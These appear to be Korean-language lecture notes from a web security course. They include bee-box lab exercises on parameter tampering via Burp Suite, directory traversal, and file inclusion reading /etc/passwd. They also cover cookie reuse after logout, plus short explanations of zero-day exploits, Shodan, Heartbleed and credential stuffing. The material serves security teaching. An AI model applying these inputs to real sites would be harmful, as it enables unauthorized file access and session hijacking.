방법1) 관리자 도구(F12)

hidden으로 설정되어 있어서 계산한 값이 나오지 않는다.

방법2) proxy burp suite를 이용

인터넷 옵션> 연결> lan연결 > 프락시 서버 체크(127.0.0.1: 8080)

beebox: A4 Insecure DOR (Order Tickets)

proxy:intercept on 값 변경(ticket_quantity=500&ticket_price=0.001&action=order)

 

* 최근에는 CMS(Contents management system)를 도입한 회사들이 많이 있음.

가격이 변조되지 않았는지, 가격이 비정상적으로 처리되지 않았는지 이러한 것들을 확인하는 시스템

지금은 웬만한 대기업들은 다 구성되어 있다.

 

beebox실습 A7의 첫 번쨰

/directory traversal directories/

디렉터리가 그대로 노출되고 있음

웹 쉘을 업로드 하고, 웹 쉘 업로드한 경로를 찾기 어려웅때 디렉터리가 그대로 노출되면 쉽게 실행 가능

/home/ Wolverine 디렉터리에 있는 PDF파일은 몇 개일ᄁᆞ?

URL의 뭐리에 디렉터리 경로를 입력함 ?directory=/home/wilverine/Examples

$cd /home/wolverine/Examples

$ls *.pdf

 

BEEBOX실습 A7의 두 번쨰

/etc/passwd에 보면 neoUID는 무엇인가?

?page=/etc/passwd

$ cd /etc

$ vi passwd

 

* 디렉터리가 노출되는 사이트의 특징

index.of

parent directory

검색어에 넣으면 디렉터리가 노출되는 사이트를 보여줌.

 

 

Zeroday Exploit(23시간)
그런데 알려지지 않은 취약점이 있다
제조사가 아직 모르는 상태라서 패치가 아직 없다.
취약점을 발표하고 24시간
무방비 상태에서 공격을 하는 것
제조사가 패치를 만들기 전 (PoC이전, 패치를 만드는 중, 패치를 만들었는데 취약점이 사라지지 않는 경우) 이런 경우가 패치가 나오기 전 상태
패치를 만드는데 걸리는 시간 ? 보통 평균 25-50일 정도
왜이렇게 오래 걸려? 오늘 취약점이 나왔는데, 담당자 미팅이 가능한가? 알 수 없다. 그래서 어떤 취약점인지 파악할 수 없다. 담당자와 약속시간을 맞출 수 없기 때문에 늦어짐(poc단계) + 파악하고 설계자한테 넘겨줄려고 했더니 설계자하고도 약속시간을 맞출 수 없다. + 개발자도 약속 시간을 맞추기 어렵다. + 테스터도 약속시간을 맞추기 어렵다 + 취약점이 맞지 않는다면 또 테스터에게 가서 검사를 받고 이런 식으로 되돌아 간다. 그러면 패치만드는 동안 뉴스에 나오지 않기 위해 엠바고를 건다.
, 중간에 거쳐야할 전문가들이 너무 많다.


- 다크 웹에서 고액으로 거래가 되기도 한다.(iPhone > Windows> ....)
제일 비싼 취약점은 아이폰...
Oneday Exploit
알려진 취약점
패치 나와있음
설치 안하면 공격 가능


패치가 있는데 왜 적용하지 않는가? 의존성(Dependancy)문제 os를 업데이트하면 app은 돌아가지 않을 수 있다. 그러면 엉망이되기 때문에 이런 것 떄문에 의존성 문제 발생(os업데이트 문제)
에러 발생시 엄청난 손실이 발생할 우려
version: 3.2.8(3: 업그레이드, 2:업데이트, 8:패치)

 

약점

약점은 항상 존재한다.(없어지지 않음)

약점 번호체계: CWE-nnnnn

 

취약점

약점 중에 특정 버전에서 특히 심각한 손상을 입힐 수 있는 부분을 취약점(vulberability, vulns)이라고 한다.

취약점 중에서 특히 실제 공격이 가능하면 Exploit이라 한다. (exploit은 취약점을 의미한다.)

 

shodan: IoT기기를 검색하는 검색 엔진

취약한 IOT기기를 검색하거나 id/ pw가 취약한 장치를 파악할 때 사용

 

shodan.io 사이트에 접근하지 못하도록 차단하는 것이 좋은가?

그러면 눈가리고 하늘을 보는 것, 즉 바보같은 행동 전세계 사람들은 shodan을 이용해서 우리나라의 취약점을 보는데, 우리나라만 못본다면 바보같은 행동임.

 

하트블리드 취약점

오픈 ssl특정 버전에 존재하는 취약점

 

1. 해커가 '감자'라고 두 글자로 대답하면 서버는 감자라고 대답함.

2. 해커가 모자라고 500글자 대답해봐 라고 서버에게 전하면 서버는 모자는 두 글자인데 500자로 어떻게 대답을 할까?

3. 그러면 서버는 모자를 포함에 메모리 번지도 대답을 한다. 그런데 이 메모리 번지안에는 비밀번호가 포함될 수 있기 때문에 정보를 유출당할 수 있다. (tmi기법)

 

Credential stuffing

취약한 사이트에서 여러 사람의 id/pw 목록을 알아낸다.

이것을 다른 사이트에 대입한다.

공격이 가능한 이유는? 대부분의 사람들이 여러 사이트에 같은 아이디와 패스워드를 사용하기 떄문에

대응 방법: 강력한 보안 솔루션 사용(x) 사용자들이 사이트마다 서로 다른 id/pw를 사용해야 함.

 

인증(authentication)

beebox A2 세 번째

 

A6/Base64 Encoding(Secret)/

1) low

쿠키에 숨어있는 내용은?

쿠키값 utf-8 base64 디코더 any bugs?

 

broken auth.-logout management

1) low

로그아웃한 이후에 쿠키를 재사용해보기(쿠키 재사용 공격)

로그아웃하기 전에 쿠키값을 복사

로그아웃 클릭

쿠키를 임의의 값으로 교체하고 저장

login.php를 지우고 엔터 로그인하라고 나옴

쿠키값을 다시 입력하고 첫 페이지를 클릭하면 welcome blackpink라고 나옴 쿠키값을 재사용하고 있음.